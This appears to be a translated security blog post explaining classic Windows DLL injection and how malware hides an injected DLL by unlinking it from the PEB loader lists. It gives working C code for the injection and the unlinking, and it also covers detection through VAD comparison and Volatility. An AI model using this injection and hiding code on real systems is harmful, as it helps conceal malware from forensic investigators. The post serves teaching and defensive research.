隐藏恶意DLL:从PEB中取消链接的技术解析

本文深入探讨恶意软件如何通过操纵Windows进程环境块(PEB)中的双向链表来隐藏注入的DLL,包含完整的代码实现和检测方法分析。

隐藏恶意DLL:从PEB中取消链接的技术解析

背景

您可能好奇为什么我会写一篇关于Windows内部机制的文章,尽管我最近更专注于云安全。实际上,这篇博客文章最初写于三年前的2020年4月。当时我在解释为什么Process Hacker会检测到本文描述的DLL取消链接技术时遇到了困难,因此停止了写作并从未发布。昨天在KubeCon上与出色的Brad Geesaman共进晚餐时,他鼓励我发布它。感谢Brad让我更进一步!

免责声明:我们在本文中讨论的技术并不新鲜。事实上,它可能已经有十多年的历史了。尽管如此,我未能找到任何关于如何实际使用它的可操作和详细的文章,因此这篇文章记录了我的探索过程!

DLL注入回顾(T1055.001)

DLL注入是许多恶意软件和威胁行为者使用的常见技术。有多种DLL注入技术,我们将重点放在“经典”DLL注入上,即恶意进程将存在于磁盘上的DLL注入到目标进程中。一个更隐蔽和复杂的变种是反射式DLL注入。另一个非常流行的技术是DLL搜索顺序劫持。

DLL注入基础

恶意进程通常执行“经典DLL注入”的步骤:

  1. 确保要注入的DLL存在于磁盘上
  2. 使用OpenProcess获取要注入的进程的句柄
1
2
3
int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
  1. 在目标进程的内存空间中分配一个读写内存区域,并将要注入的DLL路径写入其中
1
2
3
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"
LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL)
  1. 检索LoadLibraryA函数的地址(注意,这可以在恶意进程的上下文中完成,因为在Windows上,ASLR将kernel32.dll映射到所有进程的相同(虚拟)基地址,直到下次重启)
1
2
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
  1. 使用CreateRemoteThread在目标进程中创建一个线程,将LoadLibraryA的地址作为入口点,将要注入的DLL的地址作为参数传递
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
    hTargetProcess, 
    NULL, // 安全属性
    0, // 堆栈大小
    (LPTHREAD_START_ROUTINE) load_library_addr, 
    targetDataPage, 
    0, // 创建标志
    &threadId
);

这将导致在目标进程中生成一个新线程,并基本上调用LoadLibraryA(“C:\Windows\Temp\malicious.dll”),触发恶意DLL的入口点。

完整示例代码在此

DLL

要注入的DLL可以在诸如Visual Studio的IDE中编译。当Windows在我们的CreateRemoteThread调用后在目标进程中加载它时,它将自动调用其DllMain函数,并带有DLL_PROCESS_ATTACH标志。以下是DLL代码的最小示例,假设它什么都不做5分钟然后退出。

1
2
3
4
5
6
7
8
BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {
    if (event == DLL_PROCESS_ATTACH) {
        for (int i = 0; i < 300; ++i) {
            Sleep(1000);
        }
    }
    return true;
}

检测DLL注入

这种形式的DLL注入相当嘈杂且相对容易识别。如果我们将DLL注入到一个程序(比如MS Paint)中,并使用Process Explorer、Process Hacker或ListDLLs检查它,我们可以清楚地看到恶意DLL:

1
2
3
4
# 使用Sysinternals的ListDLLs
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000  0xb000    C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

如果我们收集机器的内存转储,也可以使用Volatility最流行的模块之一dlllist轻松看到DLL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe 
Volatility Foundation Volatility Framework 2.6.1                                                                                                                                                             
************************************************************************                                                                                                                                     
mspaint.exe pid:   9340                                                                                                                                                                                      
Command line : mspaint

Base               Path                                                                                                                 
------------------ ----                                                                                                                 
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
...
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

常见警告

使用volatility的dlllist命令时,可能会遇到此警告:

“dlllist模块将不再看到从LDR列表中取消链接的DLL”(链接) “考虑到恶意软件可以取消链接、更改名称或替换系统库”(链接

我几年前在阿姆斯特丹参加的SANS FOR508也提到了“DLL取消链接”的概念。不幸的是,我无法找到任何关于实现如何在实践中工作的实际代码或解释。所以让我们深入探讨吧!

显示你的DLL,我会告诉你你是谁

恶意软件作者有明显的兴趣隐藏他们注入的恶意DLL,使其不被DllList或Volatility等分析工具发现。为了理解如何隐藏,让我们首先尝试理解它们如何列出进程加载的DLL!

从PEB枚举DLL

大多数工具使用PEB,这是一个由内核在每个进程创建时在其虚拟内存空间中填充的数据结构。PEB包含,除其他外,一个指向PEB_LDR_DATA结构的指针,该结构包含3个LDR_DATA_TABLE_ENTRY元素的双向链表:

  • InLoadOrderModuleList
  • InMemoryOrderModuleList
  • InInitializationOrderModuleList

这3个列表中的每一个都包含相同的条目,但顺序不同,正如它们的名称所示。例如,InLoadOrderModuleList是一个双向链表,包含按加载顺序排列的DLL。这些列表的链接方式起初看起来有点令人困惑,至少对我来说是这样。本质上,每个元素使用一个称为In{Load,Memory,Initialization}OrderLinks的链接属性在3个列表中的每一个中进行链接,该属性包含指向前一个元素的回指针(Blink)和指向下一个元素的前向指针(Flink)。以下是链接和数据结构的样子:(全分辨率可下载版本在此

要迭代所有加载的DLL,我们需要从PEB检索我们想要使用的列表的指针,比如InMemoryOrderModuleList。然后,我们使用每个条目的Flink指针迭代条目。注意,Flink指针将指向下一个条目的InMemoryOrderLinks结构——我们仍然需要从这个地址减去相关偏移量以到达LDR_DATA_TABLE_ENTRY结构的开头,这在上面的模式中相当明显——为了做到这一点,我们可以使用CONTAINING_RECORD辅助宏。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 通过读取FS或GS寄存器返回指向PEB的指针
// 参见:https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
PEB* get_peb() {
#ifdef _WIN64
    return (PEB*) __readgsqword(0x60);
#else
    return  (PEB*) __readfsdword(0x30);
#endif
}

// 打印当前进程中加载的DLL列表
void list_dlls(void) {
    PEB* peb = get_peb();
    
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;

    while (current->Flink != first) {
        // current->Flink指向我们想要到达的LDR_DATA_TABLE_ENTRY的'InMemoryOrderLinks'字段
        // 我们使用CONTAINING_RECORD从这个指针减去适当的偏移量以到达结构的开头
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);
        current = current->Flink;
    }
}

如果我们将这段代码包含在我们的恶意DLL中,将其注入mspaint.exe,并将输出写入文件而不是使用printf,我们得到:

1
2
3
4
5
6
C:\Windows\system32\mspaint.exe loaded at 00007FF6DB540000
C:\Windows\SYSTEM32\ntdll.dll loaded at 00007FF8DE540000
C:\Windows\System32\KERNEL32.DLL loaded at 00007FF8DC850000
C:\Windows\System32\KERNELBASE.dll loaded at 00007FF8DB4D0000
....
C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

InInitializationOrder和InLoadOrder列表

现在——正如您在上面的代码中看到的,我们使用了InMemoryOrderModuleList双向链表。我们可以使用另外两个吗?可以,但需要一些额外的工作。实际上,如果您查看winternl.h公开的PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构字段,您会看到它只公开了InMemoryOrderModuleList(列表头)和InMemoryOrderLinks(条目的链接):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 主PEB加载器数据结构
struct PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
};

// 对应于每个加载的DLL的数据结构
struct LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    ...
};

保留字段名称表明,出于某种原因,Microsoft不希望人们使用它们——可能是出于稳定性原因,因为那些是内部数据结构。也就是说,通过一些谷歌搜索和基本调试,我们可以重新定义LDR_DATA_TABLE_ENTRY结构,以便也能在我们的代码中使用其他2个列表——我们稍后会需要这个。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  ignored;
    ULONG           Flags;
    SHORT           LoadCount;
    SHORT           TlsIndex;
    LIST_ENTRY      HashTableEntry;
    ULONG           TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY;

假设我们现在想要访问InLoadOrderModuleList列表,我们现在可以通过以下方式做到:

  • 访问InMemoryOrderModuleList的第一个元素
  • 使用其InLoadOrderLinks链接结构

示例,与前面的示例非常相似,但使用InLoadOrderModuleList和InLoadOrderLinks链接结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void list_dlls_with_init_order_chaining(void) {
	PEB* peb = get_peb();

	// 按内存顺序检索条目
	LIST_ENTRY* inMemoryOrderList = &peb->Ldr->InMemoryOrderModuleList;
	MY_LDR_DATA_TABLE_ENTRY* firstInMemoryEntry = CONTAINING_RECORD(inMemoryOrderList, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

	// 然后使用'按加载顺序'的链接链接迭代DLL
	LIST_ENTRY* current = &firstInMemoryEntry->InLoadOrderLinks;
	LIST_ENTRY* first = current;
	while (current->Flink != first) {
		MY_LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
		printf("%wZ loaded\n", entry->FullDllName);
		current = current->Flink;
	}
}

反取证技术:从PEB取消链接恶意DLL

现在我们正确理解了某些取证检查工具如何列出进程中的DLL,我们可以研究如何隐藏它们。

想法很简单:

  • 迭代包含加载DLL列表的PEB的其中一个链表
  • 当我们找到我们的恶意DLL时,将其从这些列表中取消链接

以下是我们的PEB最终的样子(全尺寸在此):

注意malicious.dll的条目如何仍然在内存中,但不再在任何链表中?

执行取消链接的代码复制如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void unlink_peb(void) {
    PEB* peb = get_peb();
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;
    while (current->Flink != first) {
        MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        char dllName[256];
        snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);
        if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {
            // 找到DLL!从3个双向链表中取消链接它
            entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
            entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;

            entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;
            entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;

            entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;
            entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;

            return;
        }
        current = current->Flink;
    }
}

现在如果我们使用ListDLLs搜索我们的恶意DLL会发生什么?

1
2
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
PS>

它错过了。如果我们拍摄机器的内存映像,Volatility的dlllist呢?

1
2
$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
$

相同。这是预期的——以下是Volatility文档关于dlllist的说法:

要显示进程加载的DLL,请使用dlllist命令。它遍历由PEB的InLoadOrderModuleList指向的_LDR_DATA_TABLE_ENTRY结构的双向链表

我们 precisely 从InLoadOrderModule列表中取消了我们的DLL的链接,这解释了为什么dlllist现在错过了它。

检测DLL取消链接

在分析内存转储时,我们感兴趣的有两件事:

  • 查找进程加载的所有DLL,包括是否已被取消链接
  • 理解我们找到的DLL是否已从PEB双向链表中取消链接。在取证调查中,这至关重要,因为它表明攻击者或恶意软件正试图在系统上隐藏。

为此,我们可以使用VAD(虚拟地址描述符),这是一个低级内核数据结构,跟踪内存区域如何映射到特定进程和DLL。当恶意行为者从PEB(在用户空间中)取消链接DLL时,这不会影响VAD。因此,我们可以比较PEB中引用的DLL与VAD中的DLL,看看是否有差异。

一些流行工具使用VAD并将捕获未链接的DLL:

  • Process Hacker。似乎使用PEB列出DLL,这让我感到惊讶。很可能,它实际上安装了一个内核驱动程序,并也利用了VAD。
  • Volatility的malfind。它在底层使用ldrmodules来查看VAD中是否有不在PEB中的DLL。

野外的DLL取消链接

虽然DLL取消链接似乎被频繁提及,但我只能在野外找到一个例子:Flame蠕虫(另一个分析在此),Stuxnet的表亲。可能还有更多,我没有花太多时间寻找。如果您有更多例子,请告诉我!

未来研究

截至2023年,我专注于云和容器安全,在可预见的未来不太可能专注于Windows安全或取证。也就是说,有一些我想尝试的事情——如果您对此感兴趣,请尝试一下,并在评论或Twitter上告诉我您发现了什么!这些是我三年前写的笔记摘录,所以如果它们不完全合理,请原谅我。

  • 如果我们覆盖PEB中的DLL名称,我们能否使加载的DLL看起来像合法的?
  • 如果我们从内存中取消映射DLL,我们能否隐藏它?
  • 我们能否使用内存转储中DLL的打开句柄来识别我们有一个指向可能已被隐藏的DLL的句柄?

其他有用资源

我发现以下资源有用:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计